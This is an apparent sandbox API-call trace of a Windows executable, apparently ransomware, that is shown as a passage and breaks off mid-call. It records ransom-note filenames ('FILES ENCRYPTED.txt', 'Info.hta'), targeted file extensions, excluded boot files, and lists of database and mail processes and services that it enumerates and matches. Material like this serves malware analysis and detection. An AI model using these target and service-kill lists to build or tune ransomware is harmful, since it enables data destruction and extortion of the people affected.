0x605a48 [0063.611] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0063.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65f9d0, Size=0x20) returned 0x605b38 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b38, Size=0x40) returned 0x606c78 [0063.611] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0063.611] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0063.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606c78 | out: hHeap=0x5d0000) returned 1 [0063.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65f9d0, Size=0x20) returned 0x605b38 [0063.612] lstrlenW (lpString="Info.hta") returned 8 [0063.612] lstrlenW (lpString="Info.hta") returned 8 [0063.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605b38 | out: hHeap=0x5d0000) returned 1 [0063.613] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x65fa80, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe")) returned 0x30 [0068.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65fa80 | out: hHeap=0x5d0000) returned 1 [0068.618] lstrlenW (lpString="mdskkv.exe") returned 10 [0068.618] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605a48, Size=0x40) returned 0x606d98 [0068.619] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fbd8, Size=0x20) returned 0x605a48 [0068.620] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fbd8, Size=0x20) returned 0x605d18 [0068.620] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605d18, Size=0x40) returned 0x606de0 [0068.620] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606de0, Size=0x80) returned 0x62b450 [0068.621] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61e070 [0068.621] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0068.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e070 | out: hHeap=0x5d0000) returned 1 [0068.621] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x65fa80, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0068.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670288 | out: hHeap=0x5d0000) returned 1 [0068.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65fa80 | out: hHeap=0x5d0000) returned 1 [0068.623] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2e8, Size=0x8) returned 0x60a2f8 [0068.623] lstrlenW (lpString="%windir%;") returned 9 [0068.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605a48 | out: hHeap=0x5d0000) returned 1 [0068.623] lstrlenW (lpString="C:\\Windows;") returned 11 [0068.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d460 | out: hHeap=0x5d0000) returned 1 [0068.623] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fbf0, Size=0x20) returned 0x605a48 [0068.623] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605a48, Size=0x40) returned 0x606de0 [0068.623] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606de0, Size=0x80) returned 0x62b450 [0068.624] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61e070 [0068.624] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a328, Size=0x8) returned 0x60a338 [0068.624] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a338, Size=0x10) returned 0x66fc38 [0068.624] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fc38, Size=0x20) returned 0x605a48 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2e8, Size=0x8) returned 0x60a338 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a308, Size=0x8) returned 0x60a2e8 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a328, Size=0x8) returned 0x60a348 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a348, Size=0x10) returned 0x66fce0 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fce0, Size=0x20) returned 0x605d18 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a338, Size=0x10) returned 0x66fce0 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a2e8, Size=0x10) returned 0x66fd10 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a338, Size=0x8) returned 0x60a328 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a358, Size=0x8) returned 0x60a368 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fce0, Size=0x20) returned 0x605d40 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fd10, Size=0x20) returned 0x605d68 [0068.625] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a378, Size=0x8) returned 0x60a388 [0068.626] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0068.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e070 | out: hHeap=0x5d0000) returned 1 [0068.626] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fd88, Size=0x20) returned 0x624860 [0068.626] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x64d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0068.626] lstrlenW (lpString="C:\\") returned 3 [0068.626] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d460 | out: hHeap=0x5d0000) returned 1 [0068.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65da98, Size=0x82) returned 0x625020 [0068.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65dab8, Size=0x100) returned 0x61e070 [0068.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x625020, Size=0x104) returned 0x6251d0 [0068.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e070, Size=0x200) returned 0x6252e0 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65daa8 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6252e0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fe30 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b670 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fde8 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b5e8 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fe18 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6251d0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fe00 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6250b0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fe48 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x625140 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fe60 | out: hHeap=0x5d0000) returned 1 [0068.630] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fe60, Size=0x20) returned 0x624888 [0068.631] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x624888, Size=0x40) returned 0x606de0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a398 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fd88 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65d5a0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fdb8 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b560 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fda0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65da88 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66fdd0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bf48 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606200 | out: hHeap=0x5d0000) returned 1 [0068.631] lstrlenW (lpString="%systemdrive%") returned 13 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624860 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a378 | out: hHeap=0x5d0000) returned 1 [0068.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x63d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0068.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0x607c28*=0x114, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x570 Thread: id = 4 os_tid = 0x7b8 [0063.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b610 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b610, Size=0x20) returned 0x605980 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605980, Size=0x40) returned 0x606ac8 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ac8, Size=0x80) returned 0x62b6f8 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b6f8, Size=0x100) returned 0x61b9b0 [0063.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b610 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b610, Size=0x20) returned 0x605980 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605980, Size=0x40) returned 0x606ac8 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ac8, Size=0x80) returned 0x62b6f8 [0063.526] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b6f8, Size=0x100) returned 0x61e070 [0063.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b610 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a198 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b628 [0063.527] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a198, Size=0x8) returned 0x60a178 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x606020 [0063.527] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a178, Size=0x10) returned 0x61b640 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x606040 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x605980 [0063.527] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b640, Size=0x20) returned 0x6059a8 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x6059d0 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x606060 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x6059f8 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b640 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a178 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x606ac8 [0063.527] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a178, Size=0x8) returned 0x60a198 [0063.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x606b10 [0063.527] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a198, Size=0x10) returned 0x61b658 [0063.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x606080 [0063.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x6060a0 [0063.528] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b658, Size=0x20) returned 0x605a20 [0063.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x607d40 [0063.528] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0063.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b9b0 | out: hHeap=0x5d0000) returned 1 [0063.528] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0063.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e070 | out: hHeap=0x5d0000) returned 1 [0063.528] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605ac0 [0063.531] EnumServicesStatusExW (in: hSCManager=0x605ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0063.532] GetLastError () returned 0xea [0063.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x621268 [0063.532] EnumServicesStatusExW (in: hSCManager=0x605ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x621268, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x621268, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0063.537] CloseServiceHandle (hSCObject=0x605ac0) returned 1 [0063.538] lstrlenW (lpString="Appinfo") returned 7 [0063.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.540] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.540] lstrlenW (lpString="AudioSrv") returned 8 [0063.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.541] lstrlenW (lpString="BFE") returned 3 [0063.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.541] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.541] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.541] lstrlenW (lpString="CryptSvc") returned 8 [0063.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.541] lstrlenW (lpString="CscService") returned 10 [0063.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.542] lstrlenW (lpString="DcomLaunch") returned 10 [0063.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.542] lstrlenW (lpString="Dhcp") returned 4 [0063.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.542] lstrlenW (lpString="Dnscache") returned 8 [0063.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.543] lstrlenW (lpString="DPS") returned 3 [0063.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.543] lstrlenW (lpString="eventlog") returned 8 [0063.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.543] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.543] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.544] lstrlenW (lpString="EventSystem") returned 11 [0063.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.544] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.544] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.544] lstrlenW (lpString="gpsvc") returned 5 [0063.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.544] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.544] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.544] lstrlenW (lpString="iphlpsvc") returned 8 [0063.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.544] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.545] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.545] lstrlenW (lpString="LanmanServer") returned 12 [0063.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.545] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.545] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.545] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.545] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.545] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.545] lstrlenW (lpString="lmhosts") returned 7 [0063.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.546] lstrlenW (lpString="MMCSS") returned 5 [0063.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.546] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.546] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.546] lstrlenW (lpString="MpsSvc") returned 6 [0063.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.546] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.546] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.547] lstrlenW (lpString="Netman") returned 6 [0063.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.547] lstrlenW (lpString="netprofm") returned 8 [0063.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.547] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.547] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.547] lstrlenW (lpString="NlaSvc") returned 6 [0063.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.548] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.548] lstrlenW (lpString="nsi") returned 3 [0063.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.548] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.548] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.548] lstrcmpiW 